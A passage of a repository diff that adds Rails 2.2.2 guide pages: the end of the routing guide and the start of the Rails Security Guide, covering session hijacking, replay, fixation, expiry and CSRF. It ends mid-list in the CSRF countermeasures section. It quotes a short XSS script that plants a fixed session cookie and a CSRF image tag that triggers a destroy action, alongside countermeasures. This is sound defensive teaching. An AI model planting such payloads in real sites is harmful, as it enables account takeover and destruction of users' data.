+<pre><tt>assert_recognizes <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"create"</span> <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>You can also use the RESTful helpers to test recognition of a RESTful route:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_recognizes new_photo_url<span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<h4 id="_the_tt_assert_routing_tt_assertion">8.2.3. The <tt>assert_routing</tt> Assertion</h4>
+<div class="para"><p>The <tt>assert_routing</tt> assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of <tt>assert_generates</tt> and <tt>assert_recognizes</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_routing <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"create"</span> <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_changelog">9. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/3">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes , by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
+</li>
+<li>
+<p>
+September 23, 2008: Added section on namespaced controllers and routing, by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
+</li>
+<li>
+<p>
+September 10, 2008: initial version by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
+</li>
+</ul></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/security.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/security.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/security.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1346 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>Ruby On Rails Security Guide</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_introduction">Introduction</a>
+					</li>
+					<li>
+					<a href="#_sessions">Sessions</a>
+						<ul>
+						
+							<li><a href="#_what_are_sessions">What are sessions?</a></li>
+						
+							<li><a href="#_session_id">Session id</a></li>
+						
+							<li><a href="#_session_hijacking">Session hijacking</a></li>
+						
+							<li><a href="#_session_guidelines">Session guidelines</a></li>
+						
+							<li><a href="#_session_storage">Session storage</a></li>
+						
+							<li><a href="#_replay_attacks_for_cookiestore_sessions">Replay attacks for CookieStore sessions</a></li>
+						
+							<li><a href="#_session_fixation">Session fixation</a></li>
+						
+							<li><a href="#_session_fixation_countermeasures">Session fixation – Countermeasures</a></li>
+						
+							<li><a href="#_session_expiry">Session expiry</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_cross_site_reference_forgery_csrf">Cross-Site Reference Forgery (CSRF)</a>
+						<ul>
+						
+							<li><a href="#_csrf_countermeasures">CSRF Countermeasures</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_redirection_and_files">Redirection and Files</a>
+						<ul>
+						
+							<li><a href="#_redirection">Redirection</a></li>
+						
+							<li><a href="#_file_uploads">File uploads</a></li>
+						
+							<li><a href="#_executable_code_in_file_uploads">Executable code in file uploads</a></li>
+						
+							<li><a href="#_file_downloads">File downloads</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_intranet_and_admin_security">Intranet and Admin security</a>
+						<ul>
+						
+							<li><a href="#_additional_precautions">Additional precautions</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_mass_assignment">Mass assignment</a>
+						<ul>
+						
+							<li><a href="#_countermeasures">Countermeasures</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_user_management">User management</a>
+						<ul>
+						
+							<li><a href="#_brute_forcing_accounts">Brute-forcing accounts</a></li>
+						
+							<li><a href="#_account_hijacking">Account hijacking</a></li>
+						
+							<li><a href="#_captchas">CAPTCHAs</a></li>
+						
+							<li><a href="#_logging">Logging</a></li>
+						
+							<li><a href="#_good_passwords">Good passwords</a></li>
+						
+							<li><a href="#_regular_expressions">Regular expressions</a></li>
+						
+							<li><a href="#_privilege_escalation">Privilege escalation</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_injection">Injection</a>
+						<ul>
+						
+							<li><a href="#_whitelists_versus_blacklists">Whitelists versus Blacklists</a></li>
+						
+							<li><a href="#_sql_injection">SQL Injection</a></li>
+						
+							<li><a href="#_cross_site_scripting_xss">Cross-Site Scripting (XSS)</a></li>
+						
+							<li><a href="#_css_injection">CSS Injection</a></li>
+						
+							<li><a href="#_textile_injection">Textile Injection</a></li>
+						
+							<li><a href="#_ajax_injection">Ajax Injection</a></li>
+						
+							<li><a href="#_rjs_injection">RJS Injection</a></li>
+						
+							<li><a href="#_command_line_injection">Command Line Injection</a></li>
+						
+							<li><a href="#_header_injection">Header Injection</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_additional_resources">Additional resources</a>
+					</li>
+					<li>
+					<a href="#_changelog">Changelog</a>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>Ruby On Rails Security Guide</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
+mail me, Heiko Webers, at 42 {<em>et</em>} rorsecurity.info. After reading it, you should be familiar with:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+All countermeasures <span style="background-color: #fffcdb;">that are highlighted</span>
+</p>
+</li>
+<li>
+<p>
+The concept of sessions in Rails, what to put in there and popular attack methods
+</p>
+</li>
+<li>
+<p>
+How just visiting a site can be a security problem (with CSRF)
+</p>
+</li>
+<li>
+<p>
+What you have to pay attention to when working with files or providing an administration interface
+</p>
+</li>
+<li>
+<p>
+The Rails-specific mass assignment problem
+</p>
+</li>
+<li>
+<p>
+How to manage users: Logging in and out and attack methods on all layers
+</p>
+</li>
+<li>
+<p>
+And the most popular injection attack methods
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_introduction">1. Introduction</h2>
+<div class="sectionbody">
+<div class="para"><p>Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.</p></div>
+<div class="para"><p>In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).</p></div>
+<div class="para"><p>The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.</p></div>
+<div class="para"><p>The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.</p></div>
+<div class="para"><p>In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems.</p></div>
+</div>
+<h2 id="_sessions">2. Sessions</h2>
+<div class="sectionbody">
+<div class="para"><p>A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.</p></div>
+<h3 id="_what_are_sessions">2.1. What are sessions?</h3>
+<div class="para"><p>&#8212; <em>HTTP is a stateless protocol Sessions make it stateful.</em></p></div>
+<div class="para"><p>Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
+Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.</p></div>
+<div class="para"><p>A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>session<span style="color: #990000">[:</span>user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>id
+User<span style="color: #990000">.</span>find<span style="color: #990000">(</span>session<span style="color: #990000">[:</span>user_id<span style="color: #990000">])</span>
+</tt></pre></div></div>
+<h3 id="_session_id">2.2. Session id</h3>
+<div class="para"><p>&#8212; <em>The session id is a 32 byte long MD5 hash value.</em></p></div>
+<div class="para"><p>A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.</p></div>
+<h3 id="_session_hijacking">2.3. Session hijacking</h3>
+<div class="para"><p>&#8212; <em>Stealing a user's session id lets an attacker use the web application in the victim's name.</em></p></div>
+<div class="para"><p>Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.</p></div>
+<div class="para"><p>Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to <span style="background-color: #fffcdb;">provide a secure connection over SSL</span>.
+</p>
+</li>
+<li>
+<p>
+Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a <span style="background-color: #fffcdb;">log-out button</span> in the web application, and <span style="background-color: #fffcdb;">make it prominent</span>.
+</p>
+</li>
+<li>
+<p>
+Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read more about XSS later.
+</p>
+</li>
+<li>
+<p>
+Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security Threat Report</a>.</p></div>
+<h3 id="_session_guidelines">2.4. Session guidelines</h3>
+<div class="para"><p>&#8212; <em>Here are some general guidelines on sessions.</em></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<span style="background-color: #fffcdb;">Do not store large objects in a session</span>. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
+This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
+</p>
+</li>
+<li>
+<p>
+<span style="background-color: #fffcdb;">Critical data should not be stored in session</span>. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+</p>
+</li>
+</ul></div>
+<h3 id="_session_storage">2.5. Session storage</h3>
+<div class="para"><p>&#8212; <em>Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore.</em></p></div>
+<div class="para"><p>There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.</p></div>
+<div class="para"><p>Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Cookies imply a strict size limit of 4K. This is fine as you should not store large amounts of data in a session anyway, as described before. <span style="background-color: #fffcdb;">Storing the current user's database id in a session is usually ok</span>.
+</p>
+</li>
+<li>
+<p>
+The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, <span style="background-color: #fffcdb;">you don't want to store any secrets here</span>. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So <span style="background-color: #fffcdb;">don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters</span>. Put the secret in your environment.rb:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>config.action_controller.session = {
+  :session_key =&gt; ‘_app_session’,
+  :secret      =&gt; ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’
+}</tt></pre>
+</div></div>
+<div class="para"><p>There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.</p></div>
+<h3 id="_replay_attacks_for_cookiestore_sessions">2.6. Replay attacks for CookieStore sessions</h3>
+<div class="para"><p>&#8212; <em>Another sort of attack you have to be aware of when using CookieStore is the replay attack.</em></p></div>
+<div class="para"><p>It works like this:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+A user receives credits, the amount is stored in a session (which is bad idea, anyway, but we'll do this for demonstration purposes).
+</p>
+</li>
+<li>
+<p>
+The user buys something.
+</p>
+</li>
+<li>
+<p>
+His new, lower credit will be stored in the session.
+</p>
+</li>
+<li>
+<p>
+The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
+</p>
+</li>
+<li>
+<p>
+The user has his credit back.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).</p></div>
+<div class="para"><p>The best <span style="background-color: #fffcdb;">solution against it is not to store this kind of data in a session, but in the database</span>. In this case store the credit in the database and the logged_in_user_id in the session.</p></div>
+<h3 id="_session_fixation">2.7. Session fixation</h3>
+<div class="para"><p>&#8212; <em>Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation.</em></p></div>
+<div class="imageblock">
+<div class="content">
+<img src="images/session_fixation.png" alt="Session fixation" title="Session fixation"/>
+</div>
+</div>
+<div class="para"><p>This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:</p></div>
+<div class="olist"><ol>
+<li>
+<p>
+The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
+</p>
+</li>
+<li>
+<p>
+He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
+</p>
+</li>
+<li>
+<p>
+Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <tt>&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;</tt>
+Read more about XSS and injection later on.
+</p>
+</li>
+<li>
+<p>
+The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
+</p>
+</li>
+<li>
+<p>
+As the new trap session is unused, the web application will require the user to authenticate.
+</p>
+</li>
+<li>
+<p>
+From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
+</p>
+</li>
+</ol></div>
+<h3 id="_session_fixation_countermeasures">2.8. Session fixation – Countermeasures</h3>
+<div class="para"><p>&#8212; <em>One line of code will protect you from session fixation.</em></p></div>
+<div class="para"><p>The most effective countermeasure is to <span style="background-color: #fffcdb;">issue a new session identifier</span> and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>reset_session
+</tt></pre></div></div>
+<div class="para"><p>If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, <span style="background-color: #fffcdb;">you have to transfer them to the new session</span>.</p></div>
+<div class="para"><p>Another countermeasure is to <span style="background-color: #fffcdb;">save user-specific properties in the session</span>, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. <span style="background-color: #fffcdb;">These might change over the course of a session</span>, so these users  will not be able to use your application, or only in a limited way.</p></div>
+<h3 id="_session_expiry">2.9. Session expiry</h3>
+<div class="para"><p>&#8212; <em>Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation.</em></p></div>
+<div class="para"><p>One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to <span style="background-color: #fffcdb;">expire sessions in a database table</span>. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Session <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>sweep<span style="color: #990000">(</span>time_ago <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">)</span>
+
    time <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">case</span></span> time_ago
+
      <span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)m$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>minute
+
      <span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)h$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>hour
+
      <span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)d$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>day
+
      <span style="font-weight: bold"><span style="color: #0000FF">else</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>hour
+
    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
    <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>delete_all <span style="color: #FF0000">"updated_at &lt; '#{time.to_s(:db)}'"</span>
+
  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>delete_all <span style="color: #FF0000">"updated_at &lt; '#{time.to_s(:db)}' OR created_at &lt; '#{2.days.ago.to_s(:db)}'"</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_cross_site_reference_forgery_csrf">3. Cross-Site Reference Forgery (CSRF)</h2>
+<div class="sectionbody">
+<div class="para"><p>&#8212; <em>This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.</em></p></div>
+<div class="imageblock">
+<div class="content">
+<img src="images/csrf.png" alt="CSRF" title="CSRF"/>
+</div>
+</div>
+<div class="para"><p>In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
+</p>
+</li>
+<li>
+<p>
+<tt>&lt;img src="http://www.webapp.com/project/1/destroy"&gt;</tt>
+</p>
+</li>
+<li>
+<p>
+Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
+</p>
+</li>
+<li>
+<p>
+By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
+</p>
+</li>
+<li>
+<p>
+The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
+</p>
+</li>
+<li>
+<p>
+Bob doesn't notice the attack &#8212; but a few days later he finds out that project number one is gone.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.</p></div>
+<div class="para"><p>CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) &#8212; less than 0.1% in 2006 &#8212; but it really is a <em>sleeping giant</em> [Grossman]. This is in stark contrast to the results in my (and others) security contract work – <span style="background-color: #fffcdb;">CSRF is an important security issue</span>.</p></div>
+<h3 id="_csrf_countermeasures">3.1. CSRF Countermeasures</h3>
+<div class="para"><p>&#8212; <em>First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.</em></p></div>
+<div class="para"><p>The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:</p></div>
+<div class="para"><p><strong>Use GET if:</strong></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The interaction is more <span style="background-color: #fffcdb;">like a question</span> (i.e., it is a safe operation such as a query, read operation, or lookup).
+</p>
+</li>
+</ul></div>
+<div class="para"><p><strong>Use POST if:</strong></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The interaction is more <span style="background-color: #fffcdb;">like an order</span>, or
+</p>
+</li>
+<li>
+<p>
